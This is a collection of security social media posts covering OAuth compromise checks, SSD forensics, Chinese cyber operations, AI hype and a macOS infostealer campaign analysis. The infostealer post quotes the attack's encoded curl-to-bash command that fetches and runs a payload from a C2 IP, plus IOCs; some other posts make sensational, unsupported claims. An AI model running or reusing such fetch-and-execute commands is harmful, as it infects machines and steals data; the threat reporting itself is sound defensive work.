To check if your Google Workspace has been compromised by the same tool that compromised Vercel:
1. Go to https://t.co/TpuIOW5Fwg
- This is Google Admin Console > Security > Access and Data Control > API Controls > Manage app access > Accessed Apps
2. Filter by ID = https://t.co/uqJnCqp5Ah
- This is the ID of the compromised OAuth app
If you see an app after filtering, you have potentially been compromised
Local nerd @Thereallo1026 reverse engineered the new WhiteHouse app that the Trump administration was hyping up.
Nothing in it is innately malicious, however some design choices are odd. Also, it polls your GPS location every 240 seconds.
https://t.co/zGNgGKujgM
🚨 China has released an AI employee that runs 100% locally.
It can do research, code, build websites, create slide decks, and generate videos.. all by itself. And it comes with its own computer.
100% Open Source.
the watchers: how openai, the US government, and persona have been secretly running an identity surveillance system since nov 2023.
https://t.co/Zz04WDF8Lz
researched by @vmfunc, @MDLcsgo, @DziurwaF
It will surprise you to know that a lot of Digital Forensics Investigators don’t really like the idea of investigating SSDs.
EVIDENCE CAN BE LOST AFTER A LAWFUL SEIZURE, AND SOLID-STATE DRIVES (SSDS) CAN ACT AS UNINTENTIONAL ANTI-FORENSIC DEVICES.
SSDs Break a Core Forensic Principle in Digital Forensics.
One of the foundational assumptions in digital forensics, developed during the era of magnetic hard disk drives (HDDs), is:
“Deleted data remains on storage media until it is overwritten.” This is a long traditional principle.
Solid-State Drives can be viewed as unintentional anti-forensic devices because, unlike deliberate anti-forensic tools, they destroy potential evidence as part of their normal operation, without any malicious intent from the user.
The assumption that deleted data remains until overwritten no longer universally applies.
SSDs break this principle by design through:
1. TRIM
2. Garbage collection
3. Wear leveling
Because SSDs invalidate the “deleted data persists” principle, investigators must adapt by:
1. Prioritizing live analysis
2. Capturing volatile memory
3. Collecting system logs and cloud artifacts
4. Acting quickly before TRIM executes
What separates Chinese cyber ops from Five Eyes?
Three things that shifted my thinking about this topic:
1. Early cyber training (90s-2000s) happened on live targets.
Not sandboxes, not simulations...actual foreign infrastructure. The "practice" was the operation. Operational errors caught during IR back then weren't failures of tradecraft... they were the cost of learning on production.
2. The private sector operates as APT infrastructure.
Cybersecurity companies founded by former 2000s hackers (Topsec, i-SOON, Integrity Tech) were later publicly linked to state-directed operations. The line between "legitimate vendor" and "APT contractor" is deliberately blurred (by design).
3. Operators don't stay siloed in their APT group.
They rotate across teams for decades, carrying often the exact same tools, tactics with them. What we label as "different APT groups" is often the same people with different hats.
This makes attribution way messier than the tidy narrative we see in threat reports.
Worth reading this epic report published by the Zurich Centre for Security Studies if this stuff keeps you up at night:
https://t.co/aGgMyPniWF
@jamieantisocial corp apps used in SOCs (re: excel, slack) will pick up both URI schemes and domains and attempt to hyperlink. the amount of alerts generated from misclicks... 💀
Honestly it doesn't matter much for defenders - code is code. We mostly talk about it to point out that threat actors STILL can't properly leverage AI and it's fun to roast them. This one goes out to everyone claiming "AI is a massive threat because TAs will use it for big bad things"
Interesting MacOS infostealer campaign via Github traffic (🎩 @osint_barbie )
Spread as a fake Shimo VPN Client (image 1 - github[.]com/Browndash1368/shimo-mac-unlocked-edition) redirecting users to a fake Github download page (image 2)
browndash1368[.]github[.]io >> macos[.]aidevmac[.]com
github[.]macos-developer[.]com/main
The a bash script is shared:
echo "GitHub-AppInstaller: https://dl[.]github[.]com/drive-file-stream/GitHubApplicationSetup.dmg" && echo 'L2Jpbi9iYXNoIC1jICIkKGN1cmwgLWZzU0wgaHR0cDovLzkxLjkyLjI0Mi4zMC9nejF4c2hjYnU3N29nbWd0KSI=' | base64 -d | bash
Chaining more bash script from C2 (image 3)
/bin/bash -c "$(curl -fsSL http://91[.]92[.]242[.]30/gz1xshcbu77ogmgt)"
Then downloading and executing a malicious Mach-O (image 4)
Looking at strings inside the Mach-O, there is a reference to "macos-stealer-v2"
IOCs
a0e66f3067e4aaf5b83e45b7845cc43b2fc96032a4398cab7cc9d11f4f962e91 (this thread)
ab267488d2c0a6300b61b5c9046cb86fe4a9ac3fe9a615acd374465b3a4b26c2 (older)